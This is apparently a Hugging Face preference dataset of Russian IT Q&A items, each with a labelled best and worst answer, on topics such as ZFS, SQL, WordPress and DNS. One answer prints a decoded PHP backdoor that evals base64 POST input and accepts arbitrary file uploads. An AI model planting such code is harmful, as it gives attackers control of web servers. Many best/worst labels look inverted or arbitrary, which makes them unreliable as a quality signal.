pavki/hr_qa_sbs_best_bad huggingface dataset:
Вопрос: Диагностика производительности дисковой подсистемы Proxmox, ZFS, KVM. Какими средствами?

Лучший ответ: Я просто оставлю это здесь

Худший ответ: если вам важна производительность то откажитесь от зфс в сторону лвм 
уже проверено что у зфс есть проблемы с проиводительностью, даже если дать ей много памяти
Вопрос: После загрузки компьютера вылетает командная строка и какая то ошибка, что делать?

Лучший ответ: Удалите из автозагрузки эту программу или командный файл, который её вызывает. Или отключите.Диспетчер задач

Худший ответ: Оно скорее всего не в автозагрузке, а в планировщике выполнения задач привязанное к событию входа пользователя в систему. Нужно просто удалить эту задачу.
Вопрос: Как построить филиальную сеть на FreeBSD?

Лучший ответ: Форум на сайте lissaya - кладезь знаний по FreeBSD

Худший ответ: объеденял 2 офиса при помощи ipsec-tools (a-la racoon) + gif интерфейсы.  С двух сторон была фря. 
Не так давно на своей стороне сменил фрю на генту, на той стороне где фря подмены даже не заметили))). Можно и без ipsec, тупо гифами, но нужно было шифрование
Вопрос: Что делать если element.style мешает на определенной странице?

Лучший ответ: и php и html и css и jquery этого точно достаточно? может нужны еще серверные конфиги? выложите минимальную проблему в песочницу. будем смотреть

Худший ответ: Проблема решена.  element.style с display:none; куда то пропал.
Вопрос: Что нужно знать начинающему Gamedev программисту?

Лучший ответ: ПОИСК! УЧИТСЯ ЮЗАТЬ ПОИСК!!!
Уже раз сто спрашивали...
https://tproger.ru/translations/how-to-learn-gamed...

Худший ответ: С чего начать программировать и как вникнуть в программирование(преимущественно разработка игр)?
С чего начать разработку игры?
Хочу создать свою игру, с чего начать?
Вопрос по геймдеву. С чего начать?
С чего лучше начать разработку игр, если имеется опыт в web сфере?
С чего начать путь в Game Dev?
Вопрос: Как изучить язык баз данных SQL?

Лучший ответ: Я перед собеседованием на должность sql-джуна будучи полным нулем за ночь порешал задачки на этом сайте и на следующий день решил все предложенные задачи и был принят) Скажу так - я бы посоветовал порешать эти задачи, они там предлагаются по нарастанию сложности и подкреплены теорией, за которой вам не нужно лишний раз лезть в учебники. Уверяю, с каждым десятком решенных задач Вы будете чувствовать себя гуру sql) Спустя задачек 30, когда у Вас сформируется представление о том, что из себя представляет SQL на деле, тогда можно приступать к литературе, поверьте, после практики гораздо легче воспринимать материал, ибо уже имеется представление, о чем речь. 
По литературе(с небольшими пояснениями):
1. Введение в системы баз данных(Автор C.J.Date) - на мой взгляд очень доступное и максимально компактное описание того, на чем базируется SQL, разжеваны основные понятия, рассмотрены нормальные формы, а после предлагаются задачки.
2.  SQL Полное руководство - тут понятно по названию, здесь можно найти описание всех возможностей. Ищите наиболее позднее издание(у меня третье, для примера, это 2015 год).
3. Программирование баз данных SQL Типичные ошибки и их устранение - был влюблен в эту книгу за ее легкость и наглядность. Тут вам не просто покажут наглядно, как делать не нужно, а еще и предложат возможные и наиболее эффективные решения для тех или иных ситуаций. 
Если вы выбрали MS SQL Server:
1. Microsoft SQL Server 2012 Руководство для начинающих - там хоть и не сильно углубляясь, но описано почти все что нужно на начальных этапах. Там и про индексы, и про оптимизацию, и про бизнес-аналитику, в общем, рекомендую.
2.  Microsoft SQL Server 2012 Создание запросов - просто и исчерпывающе(на момент издания) о том, как можно и нужно писать запросы на t-sql(расширение sql для MS SQL Server) с закреплением материала предлагаемыми заданиями.
Если Вы выбрали Postgresql, то официальное руководство там исчерпывающее. 
По Oracle и MySQL советов дать не могу, ибо дела не имел. Удачи!

Худший ответ: O REILLY изучаем SQl Линн Бейли
Отличная книга для начала, написана"для людей". Автор в первую очередь заботится о понимании языка, и того для чего он нужен+. Написана в разговорном стиле.
Вопрос: Запуск BIOS 11.7 сек, Windows 10. Комп топовый, игровой, не забит, но подключен DVD ридер. 11.7 сек Нормально?

Лучший ответ: SSD надо потому что

Худший ответ: DVD ридер. Нормально?Нет.А сколько без ридера будет примерно?У меня стоит Optiarc BD RW BD-5300S. Если под "запуском" понимать крутящиеся точки, то 1~2 сек. Если от первого изображения до рабочего стола (то есть включая инициализацию RAID и доп. контролера) — до 10 сек.
Вопрос: Как расчитать контрольную сумму?

Лучший ответ: Код Хэмминга, исправляет одиночные ошибки, обнаруживает двойные.

Худший ответ: Оптимальным скорей всего будет Рида-Соломона, т.к. для Хэмминга достаточно 6 бит.
Вопрос: Как решить эту ошибку?

Лучший ответ: Перепишите этот ужас с нуля. Там невозможно найти ошибку.

Советую воспользоваться тем, что условные операторы вычисляются лениво: Если написать A && B и A окажется false, то B даже не будет вычисляться.

Так, проверка на клетку сверху может быть написана так:
if (i > 0 && a[i-1][j] - мина)

Так вся ваша простыня выродится в 8 последовательных проверок. Если меняются обе координаты, то надо через && объединить 3 условия - 2 на проверку невыхода за границы массива, и последнее - проверка значения массива.

Еще можно завести массив на SIZE+2 x SIZE+2 и заполнять его с (1, 1). Фактически, создается каемка вокруг исходного массива. И пробегаться по нему надо от 1 до SIZE. Так, вокруг всегда будут все 8 соседей. В этом подходе не придется проверять на выход за границы массива.

А еще можно вместо 8 if-ов сделать цикл на 8 итераций, если завести константы для приращений:
const int kDx[] = {1, 1, 1, 0, -1, -1, -1, 0};
const int kDy[] = {1, 0, -1, -1, -1, 0, 1, 1}; 

Теперь всех соседей можно перебрать как (i + kDx[k], j + kDy[k])

Худший ответ: Проверки на границы массивов кто будет делать?
Допустим, a = SIZE - 1. В первом if-блоке эта строчка какое поле проверяет:
if (field[a + 1][b - 1] == char(206))
?

Но вообще, т.к. тут идет только чтение, падение программы маловероятно. Вы где-то еще и пишите за границы массива, видимо.
Вопрос: Как предотвратить xss уязвимость на yii2?

Лучший ответ: причем тут xss? 
Вашем случае будет достаточно:public function actionPage($target = '') {
    $get = News::find()->where(['link' => $target])->one();

    if (null === $get) // В случае неудачного поиска  метод one() возвращает null всегда
        throw new NotFoundHttpException('Page not found');

    return $this->render('page', ['target' => $target, 'get' => $get,]); 
}

Худший ответ: Простите, но можете объяснить, зачем вы пишите это?
Вопрос: Почему скорость игры в сборке может сильно отличаться от редактора в Unity?

Лучший ответ: 1) Выведите FPS и посмотрите
2) При передвижении ж deltaTime учитываете?
3) Посмотрите профайлером - вдруг что дико педалить

Худший ответ: Проверил fps по Вашему совету, и действительно, в редакторе около 60, а в сборке около 2000. И действительно, я совсем забыл про Time.deltaTime. Остается непонятным, почему до этого в сборках fps соответствовал редактору, и ошибка не проявлялась, и из-за чего предполагаемый лимит в сборках в 60 fps слетел.
Теперь встал вопрос с восстановлением изначальной скорости всех объектов, т.к умножение на Time.deltaTime, как я понимаю надо выполнять вместе с "поправочным коэффициентом". А простое вычисление =(FPS в сборке / FPS в редакторе) не дает точной исходной скорости, т.к. fps в сборке сильно варьируется. В любом случае спасибо за решение главной проблемы, остальное - дело техники!
Вопрос: Где можно расшифровать вирусный php код?

Лучший ответ: Такого размера файл можно и руками расшифровать, надо только немного знать PHP.echo 7457737+736723;
eval(base64_decode($_POST['id'])));
if($_POST['up'] == 'up'){
    @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);
};

Худший ответ: этим занимаются боты, а не хостеры.
И делают это через известные всем дыры во всяких CMSках, особенно если не обновляться.
Лечить почти нереально, надо закрывать на запись всё что можно и нельзя на сайте, проверять потенциально опасные плагины/скрипты/обновляться до последней версии. Удалить везде и ждать появится или нет.
Вопрос: Как запретить Spring MVC писать логи в мой лог файл?

Лучший ответ: сам ковыряй свой "loj4j.xml", если сюда его не показвыаешь. решение там.

Худший ответ: Для XML нужно добавить<logger name="org.springframework">
        <level value="Warn" />
        <appender-ref ref="consoleAppender"/>
    </logger>
Если настройка логгера задается property файлом, нужно добавитьlog4j.logger.org.springframework=INFO
Вопрос: Что такое вектор слова (как его вычислить), word embedding и как работает word2vec?

Лучший ответ: вектор - это отрезок в пространстве (определенная величина которой мы что-то измеряем в пространстве). 
Если это 3х мерное пространство то это соответственно набор параметров длина, ширина, высота объекта которого мы измеряем. 
Многообразие слов может быть представлено очень большим "пространством" (условно можно назвать "смысл"), и вордТуВек - работает измеряя параметры определенного слова в этом пространстве. 
Для примера можно рассмотреть например - если мы ограничим пространство всех слов (смыслов), только словами с цветом - тогда у каждого нашего слова зеленый, красный, черный, синий и тд, будет размер в пространстве который бы соответствовал цветовой характеристике (например RGB, типа там [0, 0, 0] - для черного), однако пространство у нас куда более большое, чем только характеристики цвета, такое пространство может иметь тысячимерную размерность "смыслов". 
самое главное что мы в итоге переводя слова в такие вектора, можем их сравнивать. находить близкие по смыслу слова и сравнивать составленные из этих слов "фигуры" в пространстве

Худший ответ: так а что именно непонятно?
Гугел же сразу подсказки дает
https://towardsdatascience.com/introduction-to-wor...
https://becominghuman.ai/how-does-word2vecs-skip-g...
Вопрос: Ubuntu и несколько(сотен) пользователей, можно ли реализовать?

Лучший ответ: Контейнеры.

Худший ответ: Вы только что придумали VPS : ) Поздравляю. По такой схеме работают сотни тысяч серверов :) Гуглите OpenVZ - она как раз для этого. В ней одно на всех ведро, которое нельзя менять и собственный юзерспейс, где можно ставить программы. Разумеется, ничего, связанного с ядром поставить нельзя.
Вопрос: Где искать ментора по веб-дизайну?

Лучший ответ: За бесплатно — нигде. Идти на курсы, потом джуном в студию с ребятами, кто более скилловый и так далее.

Худший ответ: Только курсы, но иногда бывают вакансии где с 0 подготавливают для себя веб-дизайнера и то критерий большие у них в частности подходящий им люди должны иметь вкус, сами рисовать, обладать  Photoshop, Corel и т.д а если с этим туго то только курсы. Либо как моя одна знакомая которая очень хорошо рисует, захотела стать веб-дизайнером, обратилась к ребятам кто занимается версткой попросила виды стандартных макетов как и под какие сайты , какой дизайн нужно и после начала сами их делать для landing page, визиток, и т.д.
Вопрос: Какие хорошие международные биржи фриланса бывают?

Лучший ответ: 1) У вас плохой английский, вашу задачу не могут понять.
2) Мало желаете платить, у спецов есть много работы и за хорошие деньги.
Скорее всего:
Это не кандидатов стало труднее найти, это вы привыкли платить копейки, а на биржу пришло много новичков. Только они за копейки и готовы...

Худший ответ: хороших кандидатов
А это какие? Те у кого 200000000 работ выполненных?
Причин может быть много, например:
- Когда набиваешь нормальных заказчиков в достаточном количестве - перестаешь заходить на биржи вообще.
- Демпинг на любой бирже рано или поздно привод к тому, что там не очень комфортно одиночке с хорошим скилом.
Вопрос: Где можно получить образования инженера — электроника с новыми знаниями в этой области?

Лучший ответ: в любом электротехническом университете.
база в понимании работы резистор-транзистор-....-элемент ИЛИ-НЕ-...-JK триггер-...-сумматор-...-процессор-...
никогда не устареет :)
новые познания на базу "натянуть" достаточно просто.

Худший ответ: Никакой университет не даст современную базу, скорее вообще отобьют желание развиваться в этой области. Учите сами, литературы в интернете полно + ютьюб + ищите реальную работу/практикую
Вопрос: Как заставить работать Flex-wrap ie11?

Лучший ответ: От создателей Bootstrap (c) классы:.d-flex {
    display: -webkit-box !important;
    display: -ms-flexbox !important;
    display: flex !important;
}
.flex-wrap {
    -ms-flex-wrap: wrap !important;
    flex-wrap: wrap !important;
}
Всё работает.

Худший ответ: устроится на майкрософт) запилить им поддержку и сделать обновление)) само быстрый способ))) я не встречал пока библиотек для этого.
Вопрос: Как вы ведёте проекты по разработке сайта в Trello?

Лучший ответ: Спринты.
1 спринт:
- дизайн
верстка
программирование
2 спринт:
дизайн
верстка
программирование
и тд.
Чаще всего дизайн выносят за спринты.
Статусы:
Открыта
В процессе
Завершениа
Тестирование
Проверена
Переоткрыта
Все задачи попадающие в статус завершена - хватаются QAшниками и проверяются, если все норм - переводят в статус "Проверено", если нет то переводят в "переоткрыта".

Худший ответ: Делаю следующие списки:
- запланировано (тут карточки с задачами, которые надо сделать, отсортированы по приоритету)
- в работе у Вас/Пети/Маши (списки по количеству участников, в списке задачи, которые делает конкретный член команды)
- на внедрении (задача реализована и передана заказчику на проверку)
- выполнено (задачи, которые проверены и приняты заказчиком, но еще не оплачены)
После оплаты карточка с задачей архивируется. Заказчик принимает активное участие в процессе - комментирует карточки, добавляет новые в "Запланировано" и т.п.
Если есть какие-то вопросы - обращайтесь.
Вопрос: Как добавить поле в Wordpress, а вывести в футере?

Лучший ответ: В файле functionfunction my_more_options(){
			add_settings_field('phone','Телефон','display_phone','general');
			register_setting('general','my_phone');
		}
		add_action('admin_init','my_more_options');
		function display_phone(){
			echo "<input type='text' name='my_phone' value='".esc_attr(get_option('my_phone'))."'>";	
		}
В файле footer<?php echo get_option('my_phone'); ?>

Худший ответ: сделать для этого отдельную область?add_action('init', 'customfootercontent');
function customfootercontent(){
register_post_type('customfootercontent', array(
'public' => true,
'supports' => array('title', 'thumbnail', 'editor'),
'labels' => array(
 'name' => 'Область футера',
 'all_items' => 'Все данные',
 'add_new' => 'Добавить',
 'add_new_item' => 'Добавление...'
 )
)); 
}
Выводить в подвале<?php $customfootercontent = new WP_Query(array('post_type' => 'customfootercontent')); ?>
 <?php if ( $customfootercontent->have_posts() ) : ?>
<?php while ( $customfootercontent->have_posts() ) : $customfootercontent->the_post(); ?>

<?php the_post_thumbnail('full'); ?>
<?php the_content(); ?>

<?php endwhile; ?>
<?php else: ?>
<p>no content in this block</p>
<?php endif; ?>
----------------------------------------
Если картинка не нужна можно её убрать из кода
для записей или страниц можно без плагина произвольными полями, сразу вставляйте, задавайте значение в админке. Для этого вкл. отображение произвольных полей в админке.<!-- произвольное поле-->
<?php echo (get_post_meta($post->ID, 'proizvolniy-text', true)); ?>
Вопрос: Как подключить 2 jquery в Вордпресс?

Лучший ответ: Это сильно нагрузит сайт.
И Вам придется переписывать половину скриптов, по сути Вам надо что то вроде такого:<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>  
<script type="text/javascript">
    var j$331 = $.noConflict(true);
</script>

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
<script type="text/javascript">
    var j$143 = $.noConflict(true);
</script>
И соответственно скрипты которые нужно для той или иной версии вызывать так:(function(jQuery) {
//Jquery 1.4.3
})(j$143);

(function(jQuery) {
//Jquery 3.3.1
})(j$331);

Худший ответ: Просто так две версии вы не подключите хотя бы потому, что обе используют одно и то же имя глобальной переменной.
Вопрос: Какой тип внешнего диска лучше выбрать, SSD vs HDD?

Лучший ответ: если емкость некритична - ssd, иначе - hdd.
по поводу ненадежности ssd уже можно расслабиться. а бекапы полюбасу нужно делать: хоть ssd у тебя, хоть hdd.имеет смысл брать не внешний, а обычный ssd и уже его подключать через переходник sata 3 - usb ?я подключаю через переходник.
можно купить внешний бокс какой понравиться и вставить в него диск.
в покупке "готового" внешнего диска смысла не вижу.

Худший ответ: Учитывая нужный вам объём - ~200gb я бы задумался взять не hdd/ssd а быть может флешку на 256gb ?
Вопрос: Кириллические домены стоит использовать?

Лучший ответ: Для серьезного очевидно что нет, там и почта и пуникод

Худший ответ: На мой взгляд лучше зона ru, а кириллический как неглавное зеркало.
Вопрос: Стоит ли изучать GoLang вместе с изучением алгоритмов?

Лучший ответ: Go не подходит на роль языка "совершенно другой парадигмы". Если хотите такой язык, гляньте в сторону Haskell, Clojure, Lisp.
Go подходит на роль языка с нестандартным ООП и нестандартной работой с многопоточностью.
Для общего развития точно стоит его посмотреть. Прежде всего, он более низкоуровневый, чем ПХП, соответственно, вы сможете увидеть и понять некоторые вещи, о которых раньше не задумывались, которые были незаметны пользователю в ПХП, но тем не менее важны для понимания. Плюс, поработаете с компилируемым языком.

Худший ответ: Можешь изучать Python3.x , он как раз и лучше PHP, и хорош для изучения алгоритмов (приближен к псевдокоду).Подумал вот о чем - стоит ли для этого выбирать GoLang?
Нет. Просто нет.
Ты можешь его изучить ради моды, но ты много будешь трахаться с самим языком, потому что это такой костюм от очень известных кутюрье, который они сшили только вчера, и из которого отовсюду торчат нитки (а иногда и целые тряпки), а некоторые карманы ещё будут перешивать с левой стороны на правую и с правой на левую.
Вопрос: Как полностью скопировать сайт, если его исходный код замусорен и создан в онлайн-конструкторе?

Лучший ответ: Только ручками, только хардкор :D Сам как-то стягивал верстку, вполне реально.

Худший ответ: По работе непосредственно с "уродливым" кодом, я бы порекомендовал Sublime Text 3 и несколько Plugins к нему:
1. CSS Comb - для причесывания CSS кода или Онлайн
2. HTML-CSS-JS Pretify - для причесывания всего остального
После этого проведи поиск\замена по всему проекту префиксов (которые создают билдеры)
И вообще - это ересь! Верстать сайты в онлайн конструкторах...
Вопрос: Как узнать, падали ли сервера Google?

Лучший ответ: Нет.
Скорее упали ваши каналы связи.
Тестить Гугль нужно имея сотни серверов по всему миру, чтобы быть уверенным, что это не локальная связь упала.

Худший ответ: Какие конкретно? О массовых падениях скорее всего вы узнаете из топ новостей, а отдельные сервисы гугла распределены на достаточно большое количество машин, которые перераспределяют между собой нагрузку. При падении 1-5 машин вы этого никак понять или заметить не сможете. Скорее будет проблема с магистралями до серверов, или с днс, или еще какая-то проблема локального характера. Крупные компании страхуют риск отказа в доступе достаточно серьезно.
Вопрос: Какие есть ограничения у бесплатной версии?

Лучший ответ: 1. Вы можете создавать неограниченное количество макетов, при этом "проектов" сможете создавать только 3.
Проект - это подобие категории, в которой хранятся макеты, к проекту можно выдать максимум 2 доступа на редактирование.
2. Нет, все макеты сохраняются пожизненно и их бэкапы не требуются.
Все ограничение бесплатной фигмы можно посмотреть тут: https://www.figma.com/pricing/
Из основного:
• Максимум 2 редактора
• 30 дней храниться история макета
• Нет командной библиотеки компонентов
• Нет контроля за передачей ссылок и нет приватных проектов.
Платить за Figma стоит только тогда, когда над проектом работает команда.

Худший ответ: Поправка 2) 

Бесконечное множество команд (team)
2 пользователя (вы в их числе) в статусе Editor на команду
3 проекта на команду
Вопрос: Что быстрее отдать на клиент готовый html или json?

Лучший ответ: Давайте разберем на примере:
Если вам нужно обновить поля веб-формы, гораздо проще/быстрее/правильнее отдать JSON. Если же вы хотите подгрузить кусок страницы и вставить его, скажем, в разворачивающемся блоке (collapse) - проще/быстрее/правильнее отдать готовый HTML.
Как говорится, всё зависит от задач.

Худший ответ: Для первой загрузки, по большей части, отдать html - быстрее.
Когда сайт уже загружен - зависит от деталей, отрендерить html из json на клиенте можно довольно быстро, т.е. вам нужно замерять как быстро срендерите html vs json на сервере, и скорость передачи - зависит от размера ответа.
Вопрос: Как сделать безопасный REST API?

Лучший ответ: Какая разница на чем написано (PHP/Python/Go)? Написать можно как плохо так и хорошо на всем. Вычислить URL к API вообще не проблема. Сделать перенаправление тоже, но если это тупое перенаправление, чем это спасет? Как вы решите проблему с авторизацией, если у вас будут разные сервисы (один на Go, другой на PHP)? Вы себе больше проблем создадите.

Худший ответ: То, что вы пытаетесь сделать: https://ru.wikipedia.org/wiki/%D0%91%D0%B5%D0%B7%D...
То, что надо сделать:
https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D...
https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D...
Вопрос: Как достучаться до родительского div через css?

Лучший ответ: через css никак

Худший ответ: Как достучаться до родительского div через css?
Никак. Только через js.
Вопрос: Где взять крутые часы на стену?

Лучший ответ: ну такие вещи только тут искать

Худший ответ: Берете любой Android-планшет, ставите на него виджеты часов/погоды/пробок/чего еще душа желает (лишь бы места на экране хватило), в настройках устройства включаете "не отключать экран при питании от сети" (может называться по другому, но смысл такой), втыкаете зарядку и вешаете на стену.
Вопрос: Как самостоятельно разрешить проблему с DNS?

Лучший ответ: Для начала попробуйте указать другой DNS сервер, что нибудь из публичных - гугл, яндекс.Если захожу вручную по IP-адресу, не подгружаются картинки (интересно почему, они же должны на отдельном CDN лежать)Ну во первых по IP-адресу не всегда возможно подключиться. Подключение идет по имени - там может на одном адресе несколько десятков хостов быть.
Ну то же самое с картинками.

Худший ответ: Настройте гугловский ДНС: 8.8.8.8
или яндекс ДНС: 77.88.8.8
Вопрос: Как сделать сервер, который можно запустить на любой машине?

Лучший ответ: Здесь может быть несколько вариантов. 
Если клиент находится по ту сторону роутера - нужно пробросить порт от роутера к вашему компьютеру.
Если клиент находится в той же локальной сети - добавьте в исключения своего фаервола необходимый порт.
Также есть большая вероятность, что у вас Visual Studio запущено не с правами администратора (даже если вы - локальный админ, Visual Studio всё равно запускается с минимально необходимыми правами по умолчанию).
Ну и, наконец, можно воспользоваться следующей командой, чтобы открыть порт наружу для пользователя "Все":netsh http add urlacl url=http://+:8765/ user=Все listen=yes
Здесь порт 8765 - нужно поменять на свой.

Худший ответ: Пробрось порты. Forward port, если машина за роутером, так ещё и NAT надо пробросить.